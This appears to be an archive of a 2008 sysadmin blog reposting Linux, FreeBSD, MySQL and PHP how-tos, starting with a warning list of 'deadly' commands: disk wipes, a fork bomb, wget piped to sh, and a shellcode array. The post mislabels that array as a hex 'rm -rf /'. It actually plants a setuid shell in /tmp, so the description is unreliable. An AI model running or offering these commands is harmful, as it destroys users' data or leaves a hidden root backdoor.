November 21st, 2008

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.
2. Code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

ref : http://www.junauza.com/2008/11/7-deadly-linux-commands.html

November 6th, 2008

If you want to work with zip files in Ubuntu command line interface, you will need these commands: zip and unzip.
Zip

To install zip if you don’t already have it, do this

sudo apt-get install zip

The simplest way to create a zip file (archive) is

zip myzipfile.zip file1 file2 file3 …

Where myzipfile.zip is the file (zip archive) you are creating and file1, file2, file3, and so on, are the files you are including in that archive. So let’s say you need to create a zip file of your resum? which is in different file formats, you would something like

zip myresume.zip resume.odt resume.pdf resume.doc resume.txt
Unzip

To unzip files, you need to have a command called unzip. To install unzip if you don’t already have it, do this

sudo apt-get install unzip

The simplest way to extract all files from a zip archive is

unzip myzipfile.zip

Where myzipfile.zip is the file (zip archive) you are unzipping. So let’s say you need to extract (unzip) a zip file of your resum? which contains different files, you would something like

unzip myresume.zip

ref : http://codeghar.wordpress.com/2007/12/08/zip-files-in-ubuntu-cli/

November 3rd, 2008

1. Checking for cacti location and see db setting.

monitor# pwd

/usr/local/share/cacti/include

see setting dbnya.

monitor# cat db-settings.php

<?php
/* make sure these values refect your actual database/host/user/password */
$database_type = “mysql”;
$database_default = “cacti”;
$database_hostname = “localhost”;
$database_username = “cacti”;
$database_password = “cacti”;

$database_port = “3306″;
?>

2. Enter database with information taken from db-settings.php information.

monitor# mysql -ucacti -p

Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8343
Server version: 5.0.45 FreeBSD port: mysql-server-5.0.45_1

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql>

mysql> use cacti;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> select * from auth_user;

ERROR 1146 (42S02): Table ‘cacti.auth_user’ doesn’t exist

Ups, my bad :-)

mysql> select * from user_auth;

+—-+———-+————-———————+——-+—————+————–——–+———–+———–+————–+—————-+————+—————+————–+———–—+————————+
| id | username | password                         | realm | full_name     | must_change_password | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates |
+—-+———-+————-———————+——-+—————+————–——–+———–+———–+————–+—————-+————+—————+————–+———–—+————————+
|  1 | admin    | 7a40008b8368b684bec2286db1b073e2 |     0 | Administrator |                      | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 |
|  3 | monitor  | 719daab8833968dc805a345c58545ea6 |     0 | monitoring    |                      | on        | on        | on           | on             |          3 |             1 |            1 |            1 |                      1 |
|  7 | crash    | ac43724f16e9241d990427ab7c8f4228 |     0 | Nsun T        |                      | on        | on        | on           | on             |          3 |             1 |            1 |            1 |                      1 |
+—-+———-+————-———————+——-+—————+————–——–+———–+———–+————–+—————-+————+—————+————–+———–—+————————+
3 rows in set (0.00 sec)

mysql>exit

3. Generate new password with md5 utility.

monitor# md5 -s mypassword

MD5 (”mypassword”) = 34819d7beeabb9260a5c854bc85b3e44

4. Update database value with new created password string.

monitor# mysql -ucacti -p

Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8344
Server version: 5.0.45 FreeBSD port: mysql-server-5.0.45_1

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql>
mysql> update user_auth set password=’34819d7beeabb9260a5c854bc85b3e44′ where username=’admin’;

ref : http://www.rasyid.net/2008/04/13/reset-cacti-password-step-by-step/

October 31st, 2008

 Control Character Commands
^ h
Backspace.
^ d
End text input, EOF for mail, write
(also acts as logout command).
^ w
Delete last word typed.
^ u
Delete (undo) last line typed.
^ r
Repeat last line typed.
^ s
Stop the screen from scrolling
(sometimes takes a while to be effective).
^ q
Unlock terminal screen, continue scrolling.
^ c
Interrupt running program ([Del] in System V).
^ z
Suspend running program, and send it to the background
(fg brings it back to the foreground. Note: while a program is in the background it doesn’t run. It must be brought to the foreground to resume).

Getting Help

man  command

displays the manual page for the given command.

man  -k  keyword

looks up the given keyword in an index and lists the commands that may be relevant.

Navigating within the file system

pwd
shows the full path of your current working directory
cd
change directory

* cd ~username: home directory of user
* cd ..: to go up to parent directory

mkdir
creates a new directory
rmdir
deletes a directory, if it is empty
rm -r
deleltes a directory with all its contents
ls
lists the contents of a directory

* ls -l: a long listing,in alphabetical order, showing permissions, filesize, date and time of file modification, and filename.
* ls -a: a complet file list, including files whose name begins with a dot.
* ls -t: lists files according to date and time of modification (newest first).

Manipulating files

cp
copy a file or directory
mv
moves a file/directory to a new location or renames a file/directory

* mv -i: prompts user if an existing file is about to be overwritten

rm
deletes files/directories

* rm -r: deletes a directory and all its contents
* rm -i: prompts user before deleting a file

cmp
compares two files and writes out a list of differences between them
diff
compares two files and gives a detailed list of differences between them
sort
sorts the contents of a file

* sort -n: sort by numerical value
* sort: (no option) sort alphabetically
* sort -r: display in reverse order
* sort -u: remove duplicate lines

grep
search a file or list of files for a specific pattern

Displaying the contents of a file

more
displays the contents of the file on your screen, and allows you to scroll through one screenful at a time. Also has crude search possibilities
view
uses a read-only version of the vi text-editor to display a file oni your screen.view does not allow editing of the file
head
allows you to display the start of a file

* head - [number]:displays the first [number] lines of a file

tail
allows you to display the end of a file

* tail - [number]: displays the last [number] lines of a file

cat
concatenates the contents of a file and displays them on your screen. If more than one file is specified then all files will be displayed one after the other.

Wildcards

*     An asterisk matches any number of characters
in a filename, including none.
?     The question mark matches any single
character.
[ ]   Brackets enclose a set of characters, any
one of which may match a single character
at that position.
    A hyphen used within [ ] denotes a range of
characters.
~     A tilde at the beginning of a word expands
to the name of your home directory.  If you
append another user’s login name to the
character, it refers to that user’s home
directory.

Redirecting Output

<
specifies a file from which input must be taken

* command < filename:take input from file filename

>
specifies file to which output must be sent

* command > filename:send output of command to filename (if filename does not exist it will be created)

|
pipe. Takes the output of a command and uses it for the input of another command

* command1 | command2:take output of command1 and send it (pipe it) to command2

Remote access to a UNIX system

ftp
file transfer protocol. Used to transfer files from one system to another (between UNIX systems or between A UNIX system and a different system. ftp does not allow commands other than those for file transfer
ftp commands:

* ftp remote.host to connect to remote system
* cd: to change directory on remote host
* lcd:to change directory on local system, without quitting ftp
* get filename: bring filename from remote system to local one
* mget file1 file2: multiple get, brings all files specified from remote system to local
* put filename: transfer filename from local system to remote one
* mput file1 file2: multiple put, transfers all files specified from local system to remote

telnet
login to remote system, and work as on local system. Unlike ftp, with telnet it is possible to perform commands

ref : http://www.biu.ac.il/LS/bio/unixintro/commands.html

October 28th, 2008

A query is considered as slow if it takes more than “long_query_time” seconds to execute. By default, the value of this variable is set to “1″.

1). Identifying MySQL slow queries
************************************

First let’s check on the mysql server if we have slow query logging enabled:

mysqladmin var |grep log_slow_queries | log_slow_queries | OFF

2) . Activate the logging of mysql slow querie
************************************************
MySQL allows  to log slow running queries to a file. To enable slow query logging, just add the following lines to /etc/my.cnf, and restart mysql.

log-slow-queries = /var/log/mysql/mysql-slow.log
long_query_time = 1

This configuration will log all queries that take more than 1 sec in the file /var/log/mysql/mysql-slow.log.

Another alternative for enabling this feature is to restart mysql with the –log-slow-queries[=file_name] option.

2. Investigate the mysql slow queries log
*******************************************

MySQL gives us a small tool that does exactly this: mysqldumpslow

For example using:

mysqldumpslow -s c -t 10

We get the top 10 queries (-t 10) sorted by the number of occurrences in the log (-s c).

ref : http://praji.wordpress.com/slow-query-logging-in-mysql/

October 28th, 2008

With FreeBSD 5.4 and above the booting procedure is slightly changed. Under ilder version of FreeBSD use boot -s option at Ok prompt.
However, with version FreeBSD 5.4+ you don’t have to type any command. Here is the procedure to boot FreeBSD into a single user mode to reset root password.

In this tip I will explain how to boot FreeBSD into a single user mode to reset root password.

Procedure: Reset FreeBSD root user password

Step # 1: Start FreeBSD server/workstation

Step # 2: Press Enter key at boot loader

At Welcome to FreeBSD! boot menu press spacebar key to pause default booting

Type number 4 key (type 4 number) to boot into single user mode

Next you will see following prompt from system:
When prompted Enter full pathname of shell or RETURN for /bin/sh:

Press Enter key to boot into single user mode. Next, you will be immediately dropped into a single user mode without a root password.

You need to remount / (root) file system in read and write mode with mount command, type following two commands:
# mount -u /
# mount -a

Setup a new password with passwd command:
# passwd

Next type exit command to boot FreeBSD into multi-user mode environment:
# exit
OR You can just reboot the system:
# sync;sync
# reboot

For more information read man pages of passwd and mount command.

ref : http://www.cyberciti.biz/tips/howto-freebsd-reset-recover-root-password.html

October 21st, 2008

This tutorial will explain how to upgrade Ubuntu Server from Feisty to Hardy
Step 1: Feisty to Gusty Upgrade
first be sure your feisty up-to-date

sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade

if everything ok, ready for upgrade to gusty.
nano /etc/apt/source.list

all change “feisty” to “gutsy”
save and exit (ctrl-x, yes)

sudo apt-get update
sudo apt-get dist-upgrade

(one package doesn’t upgrade : mailscanner
but this step its fix:
nano /etc/init.d/mailscanner

around 124 line (do_stop function) add ‘exit 0′

do_stop()
{ exit 0
# Return
# 0 if daemon has been stopped
# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred
start-stop-daemon –stop –retry=TERM/30 –name $NAME
RETVAL=”$?”
[ “$RETVAL” = 2 ] && return 2

# Remove lockfile for cronjobs
if [ $RETVAL -eq 0 ]; then
rm -f /var/lock/subsys/mailscanner
touch $stopped_lockfile
fi

}

save and exit.

and re-apply
sudo apt-get dist-upgrade

command. its works. there some warning related with mailscanner but not important (for now)
and reboot
my server is gutsy, now.

step 2. Gutsy to Hardy upgrade
nano /etc/apt/source.list

all change “gutsy” to “hardy”
save and exit (ctrl-x, yes)

sudo apt-get update
sudo apt-get dist-upgrade

one package doesn’t upgrade : mailscanner
but no problem

reboot

mailscanner fix:

first backup your mailscanner folder. (/etc/mailscanner)

sudo cp -R /etc/mailscanner /etc/mailscanner_backup

sudo apt-get remove –purge mailscanner

(if removing results same error, around 124 line (do_stop function) add ‘exit 0′)

wget http://http.us.debian.org/debian/pool/main/m/mailscanner/mailscanner_4.68.8-1_all.deb
sudo dpkg -i mailscanner_4.68.8-1_all.deb

and

nano /etc/default/mailscanner

# Uncomment this line once MailScanner has been fully configured.
#
run_mailscanner=1

save and exit..

replace your backup mailscanner folder (/etc/mailscanner)

sudo cp -R /etc/mailscanner_backup /etc/mailscanner

/etc/init.d/mailscanner start

To find your Ubuntu version:

lsb_release -a

ref : http://swik.net/Ubuntu/Only+Ubuntu/How+to+Upgrade+Ubuntu+Server+from+Feisty+(7.04)++to+Hardy+(8.04)/b434c

October 8th, 2008

It is possible to create network alias or assign 2 ip address to a single NIC under FreeBSD operating system.
Sample setup:

=> lnc0 - IP : 192.168.1.1/255.255.255.0
=>lnc0 alias - IP : 192.168.1.5/255.255.255.255
Note: Netmask must be diffrent otherwise you will get an error ifconfig: ioctl (SIOCAIFADDR): File exists
Set ip alias using ifconfig command line utility

Login as the root user.

Now, use ifconfig command as follows to set alias:
# ifconfig lnc0 192.168.1.5 netmask 255.255.255.255 alias
Persistent IP Alias Configuration

Edit file /etc/rc.conf to setup persistent ip aliasing option by appending following configuration, so that next time FreeBSD comes up (after restart/shutdown) it will create alias for you:
ifconfig_lnc0_alias0=”192.168.1.5 netmask 255.255.255.255″

Finally, < href=”http://www.cyberciti.biz/tips/freebsd-how-to-start-restart-stop-network-service.html”>Restart FreeBSD network service using network restart script:
# /etc/rc.d/netif restart && /etc/rc.d/routing restart
Display alias and real ip using ifconfig lnc0 command:
# ifconfig lnc0
Sample output:

lnc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
inet6 fe80::20c:29ff:fe01:ddbd%lnc0 prefixlen 64 scopeid 0×1
inet 192.168.1.2 netmask 0xffffff00 broadcast 192.168.1.255
inet 192.168.1.5 netmask 0xffff

Sample /etc/rc.conf file with IP aliasing

Here is my /etc/rc.conf file with em0 and em1 interface with 5 aliases:

hostname=”sun.nixcraft.in”
# default vsnl router interface
defaultrouter=”202.54.1.200″
# Force 10Mbps for both public and private LAN interace
ifconfig_em0=”inet 10.20.110.2 netmask 255.255.255.192 media 10baseT/UTP mediaopt full-duplex”
ifconfig_em1=”inet 202.52.1.2 netmask 255.255.255.248 media 10baseT/UTP mediaopt full-duplex”
ifconfig_em0_alias0=”inet 10.20.1.226 netmask 255.255.255.0″
ifconfig_em0_alias1=”inet 10.20.1.227 netmask 255.255.255.0″
ifconfig_em0_alias2=”inet 10.20.1.228 netmask 255.255.255.0″
ifconfig_em0_alias3=”inet 10.20.1.229 netmask 255.255.255.0″
ifconfig_em0_alias4=”inet 10.20.1.230 netmask 255.255.255.0″
# static routing configuration
static_routes=”lan0″
route_lan0=”-net 10.0.0.0/8 10.20.110.1″

ref : http://www.cyberciti.biz/tips/freebsd-how-to-setup-2-ip-address-on-one-nic.html

August 27th, 2008

MySQL server and client uses a file called my.cnf. You need to open /etc/my.cnf (Global mysqld configuration file) to specify new port.

Open /etc/my.cnf file:
# vi /etc/my.cnf
Set new port 5123:
port=5123
Here is is my sample /etc/my.cnf file:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
port=5123
old_passwords=1
bind = 10.10.29.66
key_buffer = 500M
table_cache = 4000
sort_buffer_size = 3M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
max_connections = 400
query_cache_type = 1
query_cache_limit = 1M
query_cache_size = 100M

max_allowed_packet = 1M
thread_cache_size = 8

# Try number of CPU’s*2 for thread_concurrency
thread_concurrency = 4
local-infile=0

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

[mysqldump]
quick
max_allowed_packet = 16M

Save and close the file. Restart mysqld:
# service mysqld restart

ref : http://www.cyberciti.biz/faq/change-default-mysql-port-under-linuxunix/

August 27th, 2008

Under PHP you need to use header() to send a raw HTTP header.
Using headers() method, you can easily transferred to the new page without having to click a link to continue. This is also useful for search engines. Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.

PHP Redirect Script

You can easily redirect using following code:

<?php
/* Redirect browser */
header(”Location: http://theos.in/”);
/* Make sure that code below does not get executed when we redirect. */
exit;
?>